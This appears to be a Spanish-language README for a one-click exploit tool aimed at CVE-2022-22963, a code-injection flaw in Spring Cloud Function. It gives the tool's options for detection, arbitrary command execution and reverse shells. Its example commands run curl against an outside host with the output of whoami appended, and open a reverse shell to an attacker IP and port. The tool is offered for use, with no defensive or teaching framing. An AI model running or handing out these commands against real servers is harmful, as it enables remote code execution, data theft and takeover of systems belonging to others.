charis3306/cve-2022-22963spring cloud function ¡herramienta de explotación con un solo clic! por charis blog https://charis3306.top/
usage: Spring-cloud-function-spel0.2.exe [-h] --check CHECK [--route ROUTE] --url URL [--ip IP] [--port PORT] [--proxies PROXIES] [--cmd CMD]
Herramienta de explotación con un solo clic de spring cloud function! por charis Blog https://charis3306.top/
options:
-h, --help show this help message and exit
--check CHECK Método de detección post o get, --check get --check post
--route ROUTE Ruta de detección, por defecto functionRouter
--url URL Ingresa la URL a explotar
--ip IP Dirección IP para reverse shell
--port PORT Puerto para reverse shell
--proxies PROXIES Habilitar proxy
--cmd CMD Comando a ejecutar
--check es obligatorio
Spring-cloud-function-spel0.2.exe --help
La detección predeterminada --check es obligatoria, --route es la ruta donde existe la vulnerabilidad. Nota: si no se utiliza dnslog o sleep para la detección, ¡puede haber falsos positivos!
Spring-cloud-function-spel0.2.exe --check post --url http://www.charis3306.top
Spring-cloud-function-spel.exe --check post --url http://192.168.133.136:8080/ --cmd "curl http://192.168.1.3:8080/`whoami`"
Spring-cloud-function-spel.exe --check post --url http://192.168.133.136:8080/ --ip 192.168.1.3 --port 9999
